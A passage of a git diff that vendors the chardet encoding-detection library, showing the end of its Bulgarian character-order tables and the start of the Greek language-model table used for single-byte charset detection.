+ 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 62: { # '№' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +ISO_8859_5_BULGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 77, # 'A' + 66: 90, # 'B' + 67: 99, # 'C' + 68: 100, # 'D' + 69: 72, # 'E' + 70: 109, # 'F' + 71: 107, # 'G' + 72: 101, # 'H' + 73: 79, # 'I' + 74: 185, # 'J' + 75: 81, # 'K' + 76: 102, # 'L' + 77: 76, # 'M' + 78: 94, # 'N' + 79: 82, # 'O' + 80: 110, # 'P' + 81: 186, # 'Q' + 82: 108, # 'R' + 83: 91, # 'S' + 84: 74, # 'T' + 85: 119, # 'U' + 86: 84, # 'V' + 87: 96, # 'W' + 88: 111, # 'X' + 89: 187, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 65, # 'a' + 98: 69, # 'b' + 99: 70, # 'c' + 100: 66, # 'd' + 101: 63, # 'e' + 102: 68, # 'f' + 103: 112, # 'g' + 104: 103, # 'h' + 105: 92, # 'i' + 106: 194, # 'j' + 107: 104, # 'k' + 108: 95, # 'l' + 109: 86, # 'm' + 110: 87, # 'n' + 111: 71, # 'o' + 112: 116, # 'p' + 113: 195, # 'q' + 114: 85, # 'r' + 115: 93, # 's' + 116: 97, # 't' + 117: 113, # 'u' + 118: 196, # 'v' + 119: 197, # 'w' + 120: 198, # 'x' + 121: 199, # 'y' + 122: 200, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 194, # '\x80' + 129: 195, # '\x81' + 130: 196, # '\x82' + 131: 197, # '\x83' + 132: 198, # '\x84' + 133: 199, # '\x85' + 134: 200, # '\x86' + 135: 201, # '\x87' + 136: 202, # '\x88' + 137: 203, # '\x89' + 138: 204, # '\x8a' + 139: 205, # '\x8b' + 140: 206, # '\x8c' + 141: 207, # '\x8d' + 142: 208, # '\x8e' + 143: 209, # '\x8f' + 144: 210, # '\x90' + 145: 211, # '\x91' + 146: 212, # '\x92' + 147: 213, # '\x93' + 148: 214, # '\x94' + 149: 215, # '\x95' + 150: 216, # '\x96' + 151: 217, # '\x97' + 152: 218, # '\x98' + 153: 219, # '\x99' + 154: 220, # '\x9a' + 155: 221, # '\x9b' + 156: 222, # '\x9c' + 157: 223, # '\x9d' + 158: 224, # '\x9e' + 159: 225, # '\x9f' + 160: 81, # '\xa0' + 161: 226, # 'Ё' + 162: 227, # 'Ђ' + 163: 228, # 'Ѓ' + 164: 229, # 'Є' + 165: 230, # 'Ѕ' + 166: 105, # 'І' + 167: 231, # 'Ї' + 168: 232, # 'Ј' + 169: 233, # 'Љ' + 170: 234, # 'Њ' + 171: 235, # 'Ћ' + 172: 236, # 'Ќ' + 173: 45, # '\xad' + 174: 237, # 'Ў' + 175: 238, # 'Џ' + 176: 31, # 'А' + 177: 32, # 'Б' + 178: 35, # 'В' + 179: 43, # 'Г' + 180: 37, # 'Д' + 181: 44, # 'Е' + 182: 55, # 'Ж' + 183: 47, # 'З' + 184: 40, # 'И' + 185: 59, # 'Й' + 186: 33, # 'К' + 187: 46, # 'Л' + 188: 38, # 'М' + 189: 36, # 'Н' + 190: 41, # 'О' + 191: 30, # 'П' + 192: 39, # 'Р' + 193: 28, # 'С' + 194: 34, # 'Т' + 195: 51, # 'У' + 196: 48, # 'Ф' + 197: 49, # 'Х' + 198: 53, # 'Ц' + 199: 50, # 'Ч' + 200: 54, # 'Ш' + 201: 57, # 'Щ' + 202: 61, # 'Ъ' + 203: 239, # 'Ы' + 204: 67, # 'Ь' + 205: 240, # 'Э' + 206: 60, # 'Ю' + 207: 56, # 'Я' + 208: 1, # 'а' + 209: 18, # 'б' + 210: 9, # 'в' + 211: 20, # 'г' + 212: 11, # 'д' + 213: 3, # 'е' + 214: 23, # 'ж' + 215: 15, # 'з' + 216: 2, # 'и' + 217: 26, # 'й' + 218: 12, # 'к' + 219: 10, # 'л' + 220: 14, # 'м' + 221: 6, # 'н' + 222: 4, # 'о' + 223: 13, # 'п' + 224: 7, # 'р' + 225: 8, # 'с' + 226: 5, # 'т' + 227: 19, # 'у' + 228: 29, # 'ф' + 229: 25, # 'х' + 230: 22, # 'ц' + 231: 21, # 'ч' + 232: 27, # 'ш' + 233: 24, # 'щ' + 234: 17, # 'ъ' + 235: 75, # 'ы' + 236: 52, # 'ь' + 237: 241, # 'э' + 238: 42, # 'ю' + 239: 16, # 'я' + 240: 62, # '№' + 241: 242, # 'ё' + 242: 243, # 'ђ' + 243: 244, # 'ѓ' + 244: 58, # 'є' + 245: 245, # 'ѕ' + 246: 98, # 'і' + 247: 246, # 'ї' + 248: 247, # 'ј' + 249: 248, # 'љ' + 250: 249, # 'њ' + 251: 250, # 'ћ' + 252: 251, # 'ќ' + 253: 91, # '§' + 254: 252, # 'ў' + 255: 253, # 'џ' +} + +ISO_8859_5_BULGARIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-5', + language='Bulgarian', + char_to_order_map=ISO_8859_5_BULGARIAN_CHAR_TO_ORDER, + language_model=BULGARIAN_LANG_MODEL, + typical_positive_ratio=0.969392, + keep_ascii_letters=False, + alphabet='АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюя') + +WINDOWS_1251_BULGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 77, # 'A' + 66: 90, # 'B' + 67: 99, # 'C' + 68: 100, # 'D' + 69: 72, # 'E' + 70: 109, # 'F' + 71: 107, # 'G' + 72: 101, # 'H' + 73: 79, # 'I' + 74: 185, # 'J' + 75: 81, # 'K' + 76: 102, # 'L' + 77: 76, # 'M' + 78: 94, # 'N' + 79: 82, # 'O' + 80: 110, # 'P' + 81: 186, # 'Q' + 82: 108, # 'R' + 83: 91, # 'S' + 84: 74, # 'T' + 85: 119, # 'U' + 86: 84, # 'V' + 87: 96, # 'W' + 88: 111, # 'X' + 89: 187, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 65, # 'a' + 98: 69, # 'b' + 99: 70, # 'c' + 100: 66, # 'd' + 101: 63, # 'e' + 102: 68, # 'f' + 103: 112, # 'g' + 104: 103, # 'h' + 105: 92, # 'i' + 106: 194, # 'j' + 107: 104, # 'k' + 108: 95, # 'l' + 109: 86, # 'm' + 110: 87, # 'n' + 111: 71, # 'o' + 112: 116, # 'p' + 113: 195, # 'q' + 114: 85, # 'r' + 115: 93, # 's' + 116: 97, # 't' + 117: 113, # 'u' + 118: 196, # 'v' + 119: 197, # 'w' + 120: 198, # 'x' + 121: 199, # 'y' + 122: 200, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 206, # 'Ђ' + 129: 207, # 'Ѓ' + 130: 208, # '‚' + 131: 209, # 'ѓ' + 132: 210, # '„' + 133: 211, # '…' + 134: 212, # '†' + 135: 213, # '‡' + 136: 120, # '€' + 137: 214, # '‰' + 138: 215, # 'Љ' + 139: 216, # '‹' + 140: 217, # 'Њ' + 141: 218, # 'Ќ' + 142: 219, # 'Ћ' + 143: 220, # 'Џ' + 144: 221, # 'ђ' + 145: 78, # '‘' + 146: 64, # '’' + 147: 83, # '“' + 148: 121, # '”' + 149: 98, # '•' + 150: 117, # '–' + 151: 105, # '—' + 152: 222, # None + 153: 223, # '™' + 154: 224, # 'љ' + 155: 225, # '›' + 156: 226, # 'њ' + 157: 227, # 'ќ' + 158: 228, # 'ћ' + 159: 229, # 'џ' + 160: 88, # '\xa0' + 161: 230, # 'Ў' + 162: 231, # 'ў' + 163: 232, # 'Ј' + 164: 233, # '¤' + 165: 122, # 'Ґ' + 166: 89, # '¦' + 167: 106, # '§' + 168: 234, # 'Ё' + 169: 235, # '©' + 170: 236, # 'Є' + 171: 237, # '«' + 172: 238, # '¬' + 173: 45, # '\xad' + 174: 239, # '®' + 175: 240, # 'Ї' + 176: 73, # '°' + 177: 80, # '±' + 178: 118, # 'І' + 179: 114, # 'і' + 180: 241, # 'ґ' + 181: 242, # 'µ' + 182: 243, # '¶' + 183: 244, # '·' + 184: 245, # 'ё' + 185: 62, # '№' + 186: 58, # 'є' + 187: 246, # '»' + 188: 247, # 'ј' + 189: 248, # 'Ѕ' + 190: 249, # 'ѕ' + 191: 250, # 'ї' + 192: 31, # 'А' + 193: 32, # 'Б' + 194: 35, # 'В' + 195: 43, # 'Г' + 196: 37, # 'Д' + 197: 44, # 'Е' + 198: 55, # 'Ж' + 199: 47, # 'З' + 200: 40, # 'И' + 201: 59, # 'Й' + 202: 33, # 'К' + 203: 46, # 'Л' + 204: 38, # 'М' + 205: 36, # 'Н' + 206: 41, # 'О' + 207: 30, # 'П' + 208: 39, # 'Р' + 209: 28, # 'С' + 210: 34, # 'Т' + 211: 51, # 'У' + 212: 48, # 'Ф' + 213: 49, # 'Х' + 214: 53, # 'Ц' + 215: 50, # 'Ч' + 216: 54, # 'Ш' + 217: 57, # 'Щ' + 218: 61, # 'Ъ' + 219: 251, # 'Ы' + 220: 67, # 'Ь' + 221: 252, # 'Э' + 222: 60, # 'Ю' + 223: 56, # 'Я' + 224: 1, # 'а' + 225: 18, # 'б' + 226: 9, # 'в' + 227: 20, # 'г' + 228: 11, # 'д' + 229: 3, # 'е' + 230: 23, # 'ж' + 231: 15, # 'з' + 232: 2, # 'и' + 233: 26, # 'й' + 234: 12, # 'к' + 235: 10, # 'л' + 236: 14, # 'м' + 237: 6, # 'н' + 238: 4, # 'о' + 239: 13, # 'п' + 240: 7, # 'р' + 241: 8, # 'с' + 242: 5, # 'т' + 243: 19, # 'у' + 244: 29, # 'ф' + 245: 25, # 'х' + 246: 22, # 'ц' + 247: 21, # 'ч' + 248: 27, # 'ш' + 249: 24, # 'щ' + 250: 17, # 'ъ' + 251: 75, # 'ы' + 252: 52, # 'ь' + 253: 253, # 'э' + 254: 42, # 'ю' + 255: 16, # 'я' +} + +WINDOWS_1251_BULGARIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1251', + language='Bulgarian', + char_to_order_map=WINDOWS_1251_BULGARIAN_CHAR_TO_ORDER, + language_model=BULGARIAN_LANG_MODEL, + typical_positive_ratio=0.969392, + keep_ascii_letters=False, + alphabet='АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюя') + diff --git a/src/thirdparty/chardet/langgreekmodel.py b/src/thirdparty/chardet/langgreekmodel.py new file mode 100644 index 0000000000..cc35bcc8a2 --- /dev/null +++ b/src/thirdparty/chardet/langgreekmodel.py @@ -0,0 +1,4398 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +GREEK_LANG_MODEL = { + 60: { # 'e' + 60: 2, # 'e' + 55: 1, # 'o' + 58: 2, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 55: { # 'o' + 60: 0, # 'e' + 55: 2, # 'o' + 58: 2, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 58: { # 't' + 60: 2, # 'e' + 55: 1, # 'o' + 58: 1, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 1, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 36: { # '·' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 61: { # 'Ά' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 1, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 1, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 46: { # 'Έ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 2, # 'β' + 20: 2, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 1, # 'σ' + 2: 2, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 54: { # 'Ό' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 31: { # 'Α' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 2, # 'Β' + 43: 2, # 'Γ' + 41: 1, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 2, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 1, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 2, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 2, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 1, # 'θ' + 5: 0, # 'ι' + 11: 2, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 2, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 51: { # 'Β' + 